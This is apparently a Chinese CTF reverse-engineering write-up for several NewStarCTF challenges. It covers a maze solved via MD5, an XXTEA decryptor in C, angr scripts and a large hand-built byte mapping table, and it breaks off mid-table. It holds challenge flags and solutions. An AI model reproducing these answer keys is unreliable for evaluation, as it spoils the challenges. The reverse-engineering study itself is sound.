flag{Zzzz333_Is_Cool!!!}

The Slider's Labyrinth

The Slider's Labyrinth

滑块的迷宫

简单nop E8 去除花指令

main函数

分析知道 maze 16行，如下： * 起点 0 终点

maze: [注意，这里每选择一个方向，走到不能走【while() 那完成这项处理】]

################

#*        #    #

#              #

#    #         #

##             #

#        #    ##

#   #          #

#              #

#    #      # O#

################

dsasdwds

print(hashlib.md5('dsasdwds'.encode()).hexdigest())

# dsasdwds

flag{f71516bdf07abd7bc0668db9d6352364}

EzTea

key===>{0x19,0x19,0x8,0x10}

这里分析可以知道是XXTEA加密，网上很多脚本，简单修改delta, 加密的移位处理即可得到flag。

例如下面：

#include <cstdint>

#include <cstdio>

#define DELTA 0x11451400

#define MX (((z ^ (key[(e ^ p) & 3])) + (y ^ sum)) ^ (((32 * z) ^ (y >> 3)) + ((4 * y) ^ (z >> 4))))

uint8_t ida_chars[] =

{

  0x82, 0x8A, 0xFA, 0x38, 0x80, 0x13, 0x50, 0xD7, 0x9D, 0x96,

  0x40, 0x0E, 0x20, 0x91, 0x16, 0x4E, 0xAB, 0x29, 0x3A, 0x71,

  0x3D, 0x39, 0xE5, 0x6C, 0x2E, 0x75, 0x9D, 0xB6, 0xE6, 0x88,

  0x1A, 0x84, 0x59, 0xB4, 0x31, 0x6F};

uint32_t key[] ={0x19,0x19,0x8,0x10};  

void btea(uint32_t *v, int n, uint32_t const key[4])

{

    uint32_t y, z, sum;

    unsigned p, rounds, e;

    if (n > 1)            /* Coding Part */

    {

        rounds = 6 + 52/n;

        sum = 0;

        z = v[n-1];

        do

        {

            sum += DELTA;

            e = (sum >> 2) & 3;

            for (p=0; p<n-1; p++)

            {

                y = v[p+1];

                z = v[p] += MX;

            }

            y = v[0];

            z = v[n-1] += MX;

        }

        while (--rounds);

    }

    else if (n < -1)      /* Decoding Part */

    {

        n = -n;

        rounds = 6 + 52/n;

        sum = rounds*DELTA;

        y = v[0];

        do

        {

            e = (sum >> 2) & 3;

            for (p=n-1; p>0; p--)

            {

                z = v[p-1];

                y = v[p] -= MX;

            }

            z = v[n-1];

            y = v[0] -= MX;

            sum -= DELTA;

        }

        while (--rounds);

    }

}

int main() {

    uint32_t *p = (uint32_t *)ida_chars; // 这里自动实现了小端序的转换

    for (int i=0;i<9;i++)

    {

    	printf("%0x,",p[i]);

	}

    btea(p, -9, key);

    for(int i = 0; i < 36; i +=1 ) {

    	printf("%c", ida_chars[i]);

    }

}

flag{H0P3_U_L1k3_Th15_CUP_0f_TEa.}

Annnnnggrr

0x01 angr 思路分析

结合题目，考点应该是 angr 的使用。

(173条消息) CTF 逆向工具angr的学习笔记___lifanxin的博客-CSDN博客_ctf逆向工具

【angr_ctf】二进制分析工具angr使用与练习-Part I（基础篇） - 求索 (gentlecp.com)

#encoding=utf-8

import angr

# 方式1，通过期望地址 和 避免地址 进行 angr 符号处理

proj = angr.Project(r"./Annnnnggrr",auto_load_libs=False) #载入程序

state = proj.factory.entry_state() #找入口点

simgr = proj.factory.simgr(state)  #从入口点开始爆破

simgr.explore(find=0x140002498,avoid=0x140002491) #期望路径 和 避免的路径

print (simgr.found[0].posix.dump(0)) #打印正确输入

# 该脚本无法跑出，应该是下面所示的，通过使用cmova，0x140002491、0x140002498两个地址都有使用到，所以导致上述脚本无用

.text:0000000140002484 88 05 C1 31 00 00             mov     cs:byte_14000564B, al

.text:000000014000248A E8 93 0C 00 00                call    memcmp

.text:000000014000248A

.text:000000014000248F 85 C0                         test    eax, eax

.text:0000000140002491 48 8D 15 F8 1D 00 00          lea     rdx, aFailed                    ; "Failed."

.text:0000000140002498 48 8D 0D E1 1D 00 00          lea     rcx, aSuccess                   ; "Success!"

.text:000000014000249F 48 0F 45 CA                   cmovnz  rcx, rdx                        ; Format

.text:00000001400024A3 E8 78 EB FF FF                call    sub_140001020

# cmp		%rsi,	%rdi

# cmova	    %rdx,	%rax	

如果RDI寄存器中的值大于RSI寄存器中的值，则把RAX寄存器中的值替换为RDX寄存器中的值。

# 方式二

# 通过输出值进行期望设置，来符号运算 但是,速度太慢，能否跑出来不知道【尝试跑了30分钟左右，放弃】

import angr

pro = angr.Project(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week3\Re\Annnnnggrr\Annnnnggrr.exe",auto_load_libs=False)

init_state = pro.factory.entry_state()

simu = pro.factory.simgr(init_state)

def success(state):

    output = state.posix.dumps(1)   # get output from stdout

    return b"Success!" in output

def abort(state):

    output = state.posix.dumps(1)   # get output from stdout

    return b"Failed." in output

simu.explore(find=success, avoid=abort)

if simu.found:

    res = simu.found[0]

    for i in range(3):

        print(res.posix.dumps(i))

else:

    print("No result!")

#encoding=utf-8

import angr

import claripy

# 方式三，设置寄存器 eax, 但也没有用。原因未知，

p = angr.Project(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week3\Re\Annnnnggrr\Annnnnggrr.exe",auto_load_libs=False)

init_addr = 0x140001103 # scanf的下一条指令地址

state = p.factory.blank_state(addr=init_addr)  # 创建一个状态，并将该地址赋给它，也就是跳过输入，直接执行下一条指令,此处使用.blank_state()而不再是.entry_state()

# 定义1个位向量，即1个输入

p1 = claripy.BVS('p1', 64*4)  # 32位寄存器（符号向量）

# p2 = claripy.BVS('p2', 32)

# p3 = claripy.BVS('p3', 32)

state.regs.eax = p1  # .regs.eax 访问eax这个寄存器

# state.regs.ebx = p2

# state.regs.edx = p3

sm = p.factory.simulation_manager(state)

def good(state):

    return b'Success!' in state.posix.dumps(1)

def bad(state):

    return b'Failed.' in state.posix.dumps(1)

sm.explore(find=good, avoid=bad)

if sm.found:

    find_state = sm.found[0]

    flag1 = find_state.solver.eval(p1)  # 将探索成功时的第一个输入赋给flag1，下面两个类似

    # flag2 = find_state.solver.eval(p2)

    # flag3 = find_state.solver.eval(p3)

    # print('{:x} {:x} {:x}'.format(flag1, flag2, flag3))

    print('{:x}'.format(flag1))

测试了好多，都没有用。但是题目显然就是考这个angr 符号求解,只能等Wp 看如何使用。

那还有其他解决方案吗？

0x02 其他解决方案

z3 or 爆破解决：

# z3发现解不出来，直接麻了！！！

# 后面尝试，直接爆破没居然无解

【整理数据花了很久，但没出结果,直接哭。这里原因未知，可能数据整理时有误，也可能其他】

【尝试爆破也无解，难道数据之间有相互运算，我没注意到？？？】

只能尝试最后一种方案了：利用程序，获取flag。【分析程序可以知道，各个位置上的，输入与输出有一一对应关系，依据线性关系，获取每个字符，每个位置对应的输出，ida 手动patch 出一一对应关系的数据，然后根据密文映射出flag】

显然，这种方式很费时间【当然，如果能写交互脚本，patch data,又会简单很多】

下面是手动patch 出的映射关系表【不会写脚本，就勤能补拙吧】

# -*- coding: UTF-8 -*-

test = '!#$*+-0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz{}~\'&'

enc = [0x4F, 0x17, 0x0C, 0x56, 0xDB, 0x67, 0x5D, 0x67, 0x32, 0x2B,

       0x36, 0x03, 0x02, 0xF3, 0xA1, 0xE4, 0xC7, 0x27, 0xC1, 0xB6,

       0x4C, 0xD7, 0x59, 0xA1, 0x71, 0x52, 0x9A, 0xE2, 0x21, 0x96,

       0x0C, 0xCA]

test_ = [[0xEE, 0x62, 0xCC, 0x20, 0xE9, 0x5B, 0x39, 0x0B, 0x0C, 0x93,

          0xF0, 0x21, 0xC2, 0x04, 0x2F, 0x27, 0x8D, 0xBD, 0x81, 0x81,

          0x9A, 0xE1, 0x09, 0x56, 0x33, 0x5D, 0x9F, 0x5C, 0x61, 0x17,

          0xC5, 0x9E],

         [0x60, 0x4C, 0xF2, 0x02, 0xA3, 0x19, 0xC7, 0xF9, 0xFE, 0x15,

          0xF2, 0x23, 0x64, 0x7A, 0x25, 0x79, 0x43, 0x67, 0x37, 0xDB,

          0x8C, 0x5B, 0x7B, 0xA8, 0x9D, 0x47, 0xFD, 0xDE, 0xD3, 0x5D,

          0xF7, 0x7C],

         [0xB5, 0x1F, 0xC7, 0x17, 0xE4, 0xFA, 0xD8, 0xB8, 0x45, 0x72,

          0xBB, 0x24, 0x75, 0x8D, 0xDC, 0x54, 0xD8, 0x3A, 0x62, 0x2E,

          0x21, 0x78, 0x84, 0x51, 0xBC, 0x26, 0xEA, 0x6D, 0xD8, 0xAE,

          0xD4, 0x27],

         [0x33, 0xCD, 0x59, 0x55, 0x4A, 0x04, 0x5A, 0x4A, 0x8B, 0xF0,

          0x69, 0x2A, 0x8B, 0x97, 0xD6, 0x4A, 0x2A, 0xC0, 0x0C, 0x74,

          0x17, 0x96, 0x3A, 0xA7, 0xB2, 0xFC, 0x6C, 0xD3, 0xC6, 0x08,

          0xFA, 0x51],

         [0xA8, 0xC4, 0xCA, 0xFA, 0x2B, 0x11, 0x9F, 0x51, 0x96, 0xED,

          0xBA, 0x2B, 0x5C, 0xC2, 0x1D, 0x31, 0xAB, 0xDF, 0x5F, 0x63,

          0x64, 0xF3, 0x23, 0x30, 0xD5, 0xBF, 0x55, 0xA6, 0x4B, 0xE5,

          0x0F, 0x94],

         [0xCA, 0x96, 0x80, 0x8C, 0x25, 0xCF, 0x1D, 0x27, 0xE0, 0x8F,

          0x54, 0x2D, 0x5E, 0xA8, 0xB3, 0xBB, 0x91, 0x89, 0x15, 0x1D,

          0xD6, 0xFD, 0x35, 0xE2, 0x57, 0xE9, 0x5B, 0x10, 0x65, 0xE3,

          0xD9, 0x7A],

         [0xD1, 0xF3, 0x6B, 0x63, 0x50, 0x0E, 0xAC, 0x44, 0x59, 0xFE,

          0xDF, 0x30, 0x61, 0xE1, 0xD0, 0x68, 0x4C, 0x16, 0xF6, 0xEA,

          0x7D, 0x24, 0x10, 0x3D, 0xF0, 0x42, 0xB6, 0x61, 0xFC, 0x7A,

          0xE8, 0x03],

         [0xFE, 0xB2, 0xBC, 0xB0, 0x99, 0xAB, 0x89, 0x3B, 0xBC, 0x43,

          0x00, 0x31, 0x32, 0xF4, 0x9F, 0xB7, 0xDD, 0x2D, 0xD1, 0x31,

          0x2A, 0xF1, 0x59, 0xE6, 0xC3, 0x2D, 0x4F, 0x6C, 0x31, 0xC7,

          0x95, 0xEE],  # 1

         [0xDB, 0x05, 0x91, 0x8D, 0x52, 0x5C, 0x32, 0x82, 0x63, 0x28,

          0x31, 0x32, 0xE3, 0x1F, 0x4E, 0x22, 0xB2, 0x18, 0x54, 0x3C,

          0x8F, 0xEE, 0x42, 0xEF, 0x4A, 0x74, 0x04, 0xDB, 0x5E, 0xD0,

          0x12, 0xA9],  # 2

         [0x30, 0xDC, 0x62, 0xD2, 0x13, 0x29, 0x57, 0x69, 0xAE, 0x85,

          0x02, 0x33, 0xD4, 0xEA, 0x15, 0x09, 0x93, 0x17, 0x47, 0x0B,

          0x9C, 0x2B, 0x4B, 0x78, 0xAD, 0x17, 0xAD, 0xAE, 0x23, 0x4D,

          0xC7, 0xCC],

         [0x45, 0x6F, 0x77, 0x27, 0xD4, 0xCA, 0x28, 0x68, 0xB5, 0xE2,

          0xCB, 0x34, 0x25, 0x7D, 0x4C, 0xA4, 0xA8, 0xAA, 0xB2, 0xDE,

          0x71, 0x88, 0x14, 0xE1, 0x0C, 0x76, 0x5A, 0x3D, 0x68, 0x5E,

          0xE4, 0xB7],

         [0xD2, 0x8E, 0xF8, 0xA4, 0x8D, 0x27, 0xF5, 0x1F, 0x58, 0x07,

          0xDC, 0x35, 0xD6, 0x90, 0x8B, 0x93, 0x59, 0x41, 0x5D, 0xC5,

          0xAE, 0x15, 0xDD, 0x2A, 0x8F, 0x41, 0x53, 0x18, 0x7D, 0x0B,

          0x51, 0xF2],

         [0x1F, 0x11, 0xAD, 0xD1, 0x46, 0x28, 0xDE, 0x56, 0x2F, 0x7C,

          0x0D, 0x36, 0x37, 0x3B, 0xCA, 0x1E, 0xFE, 0xDC, 0x40, 0xF0,

          0xA3, 0x02, 0x36, 0xE3, 0x76, 0x28, 0xA8, 0x57, 0xDA, 0x24,

          0xAE, 0x2D],

         [0x04, 0x88, 0xAE, 0x26, 0x37, 0x85, 0xF3, 0x3D, 0x9A, 0x99,

          0x0E, 0x37, 0xD8, 0x26, 0x91, 0x15, 0xDF, 0x0B, 0xB3, 0x3F,

          0x20, 0xFF, 0x1F, 0x4C, 0xB9, 0x3B, 0x41, 0x7A, 0x0F, 0x61,

          0x83, 0x50],

         [0xD9, 0x2B, 0xE3, 0x9B, 0x18, 0x06, 0x44, 0xBC, 0x51, 0xD6,

          0xC7, 0x38, 0x39, 0x09, 0xE8, 0xC0, 0xB4, 0x2E, 0x9E, 0x92,

          0x15, 0xFC, 0x38, 0x45, 0xA8, 0x5A, 0xAE, 0xA9, 0xF4, 0xA2,

          0x00, 0xFB],

         [0xA6, 0x6A, 0xF4, 0x08, 0xE1, 0x83, 0xA1, 0xB3, 0x14, 0xFB,

          0x08, 0x39, 0x4A, 0x3C, 0x57, 0xEF, 0xA5, 0x25, 0x79, 0xD9,

          0x62, 0x69, 0x01, 0x8E, 0x7B, 0x45, 0x67, 0xD4, 0x69, 0xCF,

          0x8D, 0xA6],  # 9

         [0xE1, 0x43, 0x9B, 0xF3, 0x80, 0xDE, 0x3C, 0x74, 0x09, 0x2E,

          0xEF, 0x40, 0xD1, 0x11, 0x40, 0x78, 0x5C, 0xC6, 0xC6, 0x5A,

          0x0D, 0xB4, 0x60, 0x0D, 0x00, 0x52, 0xE6, 0xF1, 0x0C, 0x2A,

          0xB8, 0x93],  # @

         [0xCE, 0x82, 0x6C, 0x40, 0x09, 0xBB, 0x99, 0x6B, 0xEC, 0x73,

          0x50, 0x41, 0xA2, 0xE4, 0x8F, 0xC7, 0xED, 0xDD, 0xE1, 0x61,

          0x3A, 0x41, 0x69, 0x36, 0x53, 0xFD, 0xBF, 0xBC, 0xC1, 0xF7,

          0xE5, 0xFE],  # A

         [0xEB, 0x15, 0x01, 0xDD, 0x02, 0xAC, 0x42, 0x32, 0x93, 0x58,

          0xC1, 0x42, 0x13, 0x0F, 0x3E, 0xF2, 0x82, 0x88, 0x64, 0xEC,

          0xDF, 0x7E, 0x52, 0x7F, 0x1A, 0x44, 0x34, 0x2B, 0x2E, 0x40,

          0xA2, 0xB9],

         [0xC0, 0xEC, 0x92, 0x22, 0xC3, 0x79, 0xA7, 0x59, 0xDE, 0xF5,

          0xD2, 0x43, 0x44, 0xDA, 0x05, 0x19, 0xA3, 0x07, 0x17, 0x3B,

          0x2C, 0x3B, 0xDB, 0x88, 0x3D, 0x67, 0x1D, 0xBE, 0xB3, 0x3D,

          0x17, 0x5C],

         [0x95, 0x3F, 0xE7, 0x37, 0x04, 0xDA, 0x38, 0x18, 0x25, 0x52,

          0x1B, 0x44, 0x55, 0xED, 0x3C, 0xF4, 0xB8, 0x5A, 0xC2, 0x0E,

          0xC1, 0x58, 0xE4, 0x31, 0xDC, 0x46, 0x8A, 0xCD, 0xB8, 0x8E,

          0x74, 0x87],

         [0xE2, 0x1E, 0x28, 0xF4, 0x3D, 0x77, 0x85, 0x8F, 0x88, 0xB7,

          0x2C, 0x45, 0x86, 0x80, 0x7B, 0x63, 0xA9, 0xB1, 0xAD, 0xF5,

          0x3E, 0x25, 0x6D, 0xFA, 0x9F, 0x51, 0x43, 0x28, 0xCD, 0x3B,

          0x61, 0x82],

         [0x6F, 0xA1, 0xDD, 0x21, 0xB6, 0xB8, 0xAE, 0xC6, 0xDF, 0xAC,

          0x9D, 0x46, 0xE7, 0xEB, 0x7A, 0xEE, 0x4E, 0x4C, 0xD0, 0xA0,

          0xF3, 0x92, 0x06, 0x33, 0x06, 0x78, 0x18, 0xE7, 0xEA, 0x94,

          0xFE, 0xFD],

         [0x94, 0xD8, 0x1E, 0x36, 0x67, 0x55, 0x03, 0xAD, 0x8A, 0xC9,

          0x5E, 0x47, 0x08, 0xD6, 0x81, 0x25, 0xAF, 0xFB, 0x03, 0xEF,

          0xF0, 0x0F, 0xEF, 0x1C, 0x89, 0x8B, 0x31, 0x8A, 0x1F, 0x11,

          0x13, 0xE0],

         [0x29, 0x3B, 0xD3, 0xEB, 0x08, 0xD6, 0x14, 0x6C, 0xC1, 0xC6,

          0x57, 0x48, 0xA9, 0xB9, 0x18, 0xD0, 0xC4, 0xDE, 0x6E, 0x42,

          0xA5, 0x4C, 0x08, 0x95, 0x38, 0x2A, 0x5E, 0xB9, 0x44, 0x92,

          0x50, 0xCB],

         [0xF6, 0x7A, 0x64, 0x98, 0x91, 0x53, 0x31, 0x23, 0x04, 0x2B,

          0x18, 0x49, 0xFA, 0xAC, 0x87, 0x3F, 0xF5, 0x55, 0xC9, 0x49,

          0x72, 0x79, 0xD1, 0x1E, 0x0B, 0x95, 0x97, 0xE4, 0xB9, 0x7F,

          0xDD, 0x76],  # I

         [0x13, 0xED, 0x79, 0x75, 0xEA, 0xE4, 0x3A, 0x2A, 0x6B, 0xD0,

          0x49, 0x4A, 0xEB, 0x77, 0xB6, 0x6A, 0x0A, 0x60, 0xEC, 0xD4,

          0xB7, 0x76, 0x1A, 0x87, 0x52, 0x9C, 0x8C, 0x33, 0xA6, 0x68,

          0x9A, 0x31],

         [0x88, 0xE4, 0xEA, 0x9A, 0x4B, 0x71, 0xFF, 0x31, 0xF6, 0x4D,

          0x9A, 0x4B, 0x3C, 0xA2, 0xFD, 0xD1, 0x8B, 0xFF, 0xBF, 0x43,

          0x04, 0xD3, 0x83, 0x10, 0xF5, 0x5F, 0x75, 0x86, 0xAB, 0xC5,

          0xAF, 0xF4],

         [0x1D, 0xF7, 0x3F, 0x4F, 0x8C, 0xF2, 0xD0, 0x50, 0x7D, 0x2A,

          0x83, 0x4C, 0xAD, 0x15, 0xF4, 0xAC, 0xC0, 0x32, 0x0A, 0x56,

          0x19, 0xF0, 0x0C, 0xB9, 0x74, 0x9E, 0xC2, 0xF5, 0xF0, 0x36,

          0x6C, 0x5F],

         [0x2A, 0xB6, 0xA0, 0xAC, 0x45, 0x2F, 0xFD, 0x87, 0x40, 0xEF,

          0xB4, 0x4D, 0xBE, 0x08, 0x93, 0x5B, 0xF1, 0x29, 0xF5, 0xFD,

          0xF6, 0xDD, 0x15, 0xC2, 0x77, 0x09, 0xFB, 0xF0, 0x45, 0x43,

          0xF9, 0x5A],  # M

         [0xD7, 0x19, 0x15, 0x39, 0x1E, 0x30, 0xA6, 0xDE, 0x17, 0x84,

          0xA5, 0x4E, 0x3F, 0x13, 0x12, 0x86, 0xD6, 0x84, 0x98, 0x28,

          0x6B, 0xEA, 0xEE, 0x9B, 0x7E, 0x70, 0xD0, 0xEF, 0x02, 0x1C,

          0xD6, 0x35],

         [0x7C, 0x50, 0x76, 0xCE, 0xCF, 0xAD, 0x7B, 0x45, 0x42, 0x61,

          0x66, 0x4F, 0x80, 0xBE, 0xD9, 0xBD, 0x37, 0xB3, 0x2B, 0xD7,

          0xC8, 0x87, 0xB7, 0xE4, 0x61, 0x03, 0x69, 0x52, 0x97, 0xF9,

          0x4B, 0xF8],

         [0x31, 0x13, 0x8B, 0x03, 0xF0, 0xEE, 0x8C, 0x24, 0xB9, 0xDE,

          0xBF, 0x50, 0xC1, 0x41, 0x30, 0x08, 0x2C, 0xB6, 0x56, 0xCA,

          0x9D, 0x04, 0xF0, 0x9D, 0x10, 0x62, 0xD6, 0x41, 0x5C, 0x5A,

          0x08, 0x63],

         [0x5E, 0x52, 0xDC, 0x50, 0xB9, 0x0B, 0x69, 0x1B, 0x9C, 0x23,

          0xE0, 0x51, 0x12, 0xD4, 0xFF, 0xD7, 0x3D, 0x4D, 0xB1, 0x11,

          0x4A, 0xD1, 0xB9, 0x46, 0x63, 0xCD, 0x6F, 0x4C, 0x91, 0x27,

          0x35, 0x4E],

         [0x3B, 0xA5, 0x31, 0xAD, 0x72, 0xBC, 0x12, 0x62, 0xC3, 0x88,

          0x11, 0x52, 0x43, 0xFF, 0x2E, 0xC2, 0x92, 0xB8, 0x34, 0x1C,

          0xAF, 0x4E, 0xA2, 0x4F, 0x6A, 0x94, 0x24, 0x3B, 0x3E, 0xB0,

          0xB2, 0x09],

         [0x10, 0xFC, 0x82, 0xF2, 0x33, 0x89, 0x37, 0xC9, 0x8E, 0x65,

          0x62, 0x53, 0x34, 0xCA, 0xF5, 0xA9, 0x73, 0x37, 0xA7, 0xEB,

          0x3C, 0x8B, 0xAB, 0x58, 0x4D, 0xB7, 0x4D, 0x8E, 0x83, 0xAD,

          0x67, 0x2C],

         [0x25, 0x8F, 0x17, 0xC7, 0xF4, 0xAA, 0x08, 0x48, 0x95, 0xC2,

          0xAB, 0x54, 0x85, 0xDD, 0x2C, 0xC4, 0x08, 0xCA, 0x92, 0x3E,

          0x11, 0x68, 0xF4, 0x41, 0x2C, 0x16, 0x7A, 0x9D, 0x48, 0xBE,

          0x04, 0x97],

         [0xB2, 0x2E, 0x18, 0x44, 0xAD, 0x87, 0x55, 0xFF, 0xB8, 0x67,

          0x3C, 0x55, 0x36, 0x70, 0x6B, 0xB3, 0x39, 0x61, 0x3D, 0xA5,

          0xCE, 0x75, 0xBD, 0x8A, 0xAF, 0x61, 0xF3, 0xF8, 0x5D, 0xEB,

          0x71, 0xD2],

         [0x7F, 0xB1, 0x4D, 0xF1, 0xE6, 0x88, 0x3E, 0xB6, 0x0F, 0xDC,

          0xED, 0x56, 0x97, 0x1B, 0xAA, 0x3E, 0xDE, 0x7C, 0xA0, 0x50,

          0x43, 0x62, 0x96, 0xC3, 0x16, 0x48, 0x48, 0xB7, 0xBA, 0x04,

          0xCE, 0x8D],

         [0x64, 0x28, 0x4E, 0xC6, 0xD7, 0x65, 0xD3, 0x9D, 0xFA, 0x79,

          0xEE, 0x57, 0x38, 0x86, 0xF1, 0x35, 0x3F, 0xAB, 0x13, 0x1F,

          0xC0, 0xDF, 0xFF, 0x2C, 0x59, 0xDB, 0xE1, 0xDA, 0xEF, 0x41,

          0xA3, 0xB0],

         [0x39, 0xCB, 0x03, 0x3B, 0x38, 0x66, 0x24, 0x9C, 0xB1, 0xB6,

          0xA7, 0x58, 0x99, 0x69, 0x48, 0xE0, 0x94, 0x4E, 0xFE, 0xF2,

          0xB5, 0x5C, 0x98, 0xA5, 0xC8, 0xFA, 0x4E, 0x89, 0xD4, 0x82,

          0xA0, 0xDB],

         [0x86, 0x0A, 0x94, 0x28, 0x01, 0xE3, 0x81, 0x93, 0x74, 0x5B,

          0xE8, 0x59, 0x2A, 0x1C, 0x37, 0x8F, 0x05, 0x45, 0x59, 0xB9,

          0x02, 0xC9, 0x61, 0xEE, 0x1B, 0xE5, 0x07, 0x34, 0xC9, 0xAF,

          0x2D, 0x06],

         [0x63, 0xBD, 0x69, 0x05, 0x1A, 0x74, 0xCA, 0xDA, 0x1B, 0x00,

          0x99, 0x5A, 0x9B, 0xA7, 0xE6, 0xBA, 0x5A, 0xD0, 0xFC, 0x44,

          0xC7, 0x46, 0xEA, 0x97, 0x22, 0xAC, 0x7C, 0x03, 0xF6, 0x98,

          0x6A, 0x01],  # Z

         [0x8C, 0xE0, 0x26, 0xDE, 0xFF, 0xFD, 0x8B, 0x35, 0x32, 0x11,

          0x36, 0x5F, 0x30, 0xEE, 0xC9, 0x4D, 0xC7, 0xE3, 0x7B, 0x87,

          0x18, 0xD7, 0xC7, 0xF4, 0x71, 0x53, 0x19, 0xE2, 0xE7, 0x69,

          0x9B, 0xC8],

         [0xAE, 0xA2, 0x0C, 0xE0, 0xA9, 0x9B, 0x79, 0x4B, 0xCC, 0x53,

          0xB0, 0x61, 0x02, 0x44, 0x6F, 0x67, 0xCD, 0x7D, 0xC1, 0x41,

          0x5A, 0xA1, 0x49, 0x16, 0xF3, 0x1D, 0xDF, 0x9C, 0x21, 0xD7,

          0x05, 0xDE],  # a

         [0xCB, 0xB5, 0xA1, 0xFD, 0xA2, 0x0C, 0x22, 0x92, 0xF3, 0xB8,

          0xA1, 0x62, 0xF3, 0xEF, 0x9E, 0x92, 0xE2, 0xA8, 0xC4, 0x4C,

          0x7F, 0xDE, 0xB2, 0x5F, 0xBA, 0x64, 0x54, 0x8B, 0x8E, 0xA0,

          0x42, 0x99],

         [0x20, 0x8C, 0x32, 0xC2, 0x63, 0x59, 0x07, 0x39, 0xBE, 0xD5,

          0xB2, 0x63, 0xA4, 0xBA, 0x65, 0xB9, 0x83, 0x27, 0x77, 0x9B,

          0x4C, 0x1B, 0xBB, 0x68, 0x5D, 0x07, 0x3D, 0x1E, 0x93, 0x1D,

          0x37, 0xBC],

         [0x75, 0x5F, 0x07, 0xD7, 0xA4, 0x3A, 0x18, 0xF8, 0x05, 0x32,

          0x7B, 0x64, 0xB5, 0xCD, 0x1C, 0x94, 0x18, 0xFA, 0xA2, 0xEE,

          0xE1, 0x38, 0xC4, 0x11, 0x7C, 0xE6, 0x2A, 0xAD, 0x98, 0x6E,

          0x14, 0x67],

         [0xC2, 0xBE, 0x48, 0x94, 0xDD, 0xD7, 0xE5, 0x6F, 0xE8, 0x97,

          0x0C, 0x65, 0xE6, 0xE0, 0xDB, 0x83, 0x09, 0x51, 0x8D, 0x55,

          0x5E, 0x05, 0xCD, 0x5A, 0xBF, 0x71, 0xE3, 0x08, 0x2D, 0x9B,

          0x01, 0xE2],

         [0x4F, 0x41, 0x7D, 0xC1, 0xD6, 0x98, 0x0E, 0xA6, 0xBF, 0x0C,

          0x7D, 0x66, 0xC7, 0xCB, 0xDA, 0x8E, 0x2E, 0xEC, 0x30, 0x80,

          0x93, 0xF2, 0xE6, 0x13, 0xA6, 0x18, 0xB8, 0xC7, 0x4A, 0x74,

          0x9E, 0xDD],

         [0xF4, 0xF8, 0x3E, 0x56, 0x87, 0x35, 0x63, 0x0D, 0xEA, 0xA9,

          0x3E, 0x67, 0xE8, 0xB6, 0xE1, 0x45, 0x0F, 0x9B, 0xE3, 0xCF,

          0x90, 0xEF, 0xCF, 0x7C, 0x29, 0xAB, 0x51, 0xEA, 0xFF, 0x71,

          0xB3, 0x40],

         [0x89, 0xDB, 0x73, 0x0B, 0x28, 0x36, 0x74, 0xCC, 0x21, 0xA6,

          0xB7, 0x68, 0x09, 0x19, 0xF8, 0x70, 0xA4, 0xFE, 0xCE, 0x22,

          0x45, 0x2C, 0x68, 0xF5, 0x58, 0xCA, 0xFE, 0x99, 0xA4, 0xF2,

          0xF0, 0x2B],

         [0x56, 0x9A, 0x04, 0xB8, 0x31, 0x33, 0x11, 0x03, 0xE4, 0x8B,

          0x78, 0x69, 0xDA, 0x0C, 0x67, 0xDF, 0x55, 0x75, 0xA9, 0xA9,

          0x12, 0xD9, 0x31, 0xFE, 0xAB, 0xB5, 0x37, 0xC4, 0x99, 0x5F,

          0xFD, 0x56],

         [0xF3, 0x0D, 0x99, 0x15, 0x0A, 0x44, 0x9A, 0x8A, 0x4B, 0xB0,

          0x29, 0x6A, 0xCB, 0xD7, 0x16, 0x8A, 0x6A, 0x80, 0x4C, 0x34,

          0xD7, 0x56, 0x7A, 0x67, 0x72, 0xBC, 0xAC, 0x13, 0x86, 0xC8,

          0x3A, 0x91],

         [0xF3, 0x0D, 0x99, 0x15, 0x0A, 0x44, 0x9A, 0x8A, 0x4B, 0xB0,

          0x29, 0x6A, 0xCB, 0xD7, 0x16, 0x8A, 0x6A, 0x80, 0x4C, 0x34,

          0xD7, 0x56, 0x7A, 0x67, 0x72, 0xBC, 0xAC, 0x13, 0x86, 0xC8,

          0x3A, 0x91],

         [0x7D, 0x17, 0x5F, 0xEF, 0xAC, 0xD2, 0xB0, 0x30, 0xDD, 0x0A,

          0xE3, 0x6C, 0x0D, 0x75, 0xD4, 0xCC, 0xA0, 0x52, 0xEA, 0xB6,

          0xB9, 0xD0, 0x6C, 0x99, 0x14, 0x3E, 0x62, 0xD5, 0x50, 0x96,

          0x0C, 0xBF],

         [0x8A, 0xD6, 0xC0, 0x4C, 0xE5, 0x0F, 0x5D, 0x67, 0xA0, 0x4F,

          0x14, 0x6D, 0x9E, 0xE8, 0xF3, 0xFB, 0xD1, 0x49, 0x55, 0xDD,

          0x96, 0xBD, 0x75, 0xA2, 0x17, 0xA9, 0x9B, 0x50, 0x25, 0xA3,

          0x19, 0xBA],

         [0x37, 0xB9, 0xB5, 0xD9, 0xBE, 0x90, 0x06, 0x3E, 0x77, 0xE4,

          0x85, 0x6E, 0x9F, 0xF3, 0xF2, 0xA6, 0x36, 0x24, 0xF8, 0x88,

          0x0B, 0x4A, 0xCE, 0x7B, 0x9E, 0x10, 0x70, 0x4F, 0xE2, 0xFC,

          0xF6, 0x15],

         [0xDC, 0x70, 0x96, 0x6E, 0xEF, 0x8D, 0xDB, 0x25, 0x22, 0x41,

          0xC6, 0x6F, 0xE0, 0x1E, 0xB9, 0xDD, 0x97, 0x53, 0x0B, 0xB7,

          0xE8, 0xE7, 0x97, 0xC4, 0x01, 0x23, 0x09, 0x32, 0x77, 0x59,

          0x6B, 0x58],

         [0x91, 0x33, 0xAB, 0x23, 0x10, 0x4E, 0xEC, 0x84, 0x19, 0xBE,

          0x9F, 0x70, 0xA1, 0x21, 0x10, 0xA8, 0x8C, 0xD6, 0x36, 0xAA,

          0x3D, 0xE4, 0x50, 0xFD, 0xB0, 0x02, 0xF6, 0xA1, 0xBC, 0x3A,

          0x28, 0x43],

         [0xBE, 0xF2, 0xFC, 0x70, 0x59, 0xEB, 0xC9, 0x7B, 0x7C, 0x03,

          0xC0, 0x71, 0x72, 0x34, 0xDF, 0xF7, 0x1D, 0xED, 0x11, 0xF1,

          0xEA, 0xB1, 0x99, 0xA6, 0x83, 0xED, 0x8F, 0xAC, 0xF1, 0x87,

          0xD5, 0x2E],

         [0x9B, 0x45, 0xD1, 0x4D, 0x12, 0x9C, 0x72, 0xC2, 0x23, 0xE8,

